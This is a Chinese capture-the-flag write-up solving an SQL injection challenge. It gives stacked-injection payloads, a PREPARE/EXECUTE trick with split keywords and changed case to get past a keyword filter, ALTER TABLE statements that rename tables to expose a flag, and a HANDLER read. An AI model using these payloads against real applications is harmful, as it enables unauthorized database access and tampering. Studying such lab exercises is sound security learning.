题目名字提示就是SQL注入
- 先输入1,有回显:
- 判断注入类型,
1' 报错,1'# 正常回显,说明时单字符类型注入: - 判断字段的数量,
1' order by 2# 正常回显,1' oreder by 3# 报错,说明字段量为2: - 用union去 select查询,
1' union select 1,database()# ,发现被preg_match过滤了:正则表达式过滤了这些,那么只有采取其他方式进行注入,尝试用堆叠注入:1';show tables;# ,发现有回显: - 爆1919810931114514的字段:
-1';show columns from 1919810931114514;# (数字名称需要加上反引号) - 爆words的字段:
-1';show columns from words;
方法一:预编译 7. 发现flag在1919810931114514表中,但由于限制了select字符,所以考虑用预编译的方式:
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
- 预编译也过滤了set和prepare,所以用大小写去绕过:
-1';
sEt @sql = CONCAT('se','lect * from `1919810931114514`;');
prEpare stmt from @sql;
EXECUTE stmt;
拿到flag:
方法二:改表
- 由于在测试的时候,提交查询1,2…返回了不同的查询值,在words表中看到了id-int(10)和data-(varchar(20)),和我们所提交的1,2整型数字以及一个字符串是符合的,所以就猜测words表应该是默认表,所以接下来思路就是将有flag的表名改成words表,就能得到我们所需要的flag,构造payload:
-1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
用万能密码:-1' or 1=1# ,拿到flag:
我也看到了师傅们的另外一种方法:
handler查询
mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。
-1';handler `1919810931114514` open;handler `1919810931114514` read first;
总结: SQL注入:堆叠注入、预编译处理、alert命令使用
|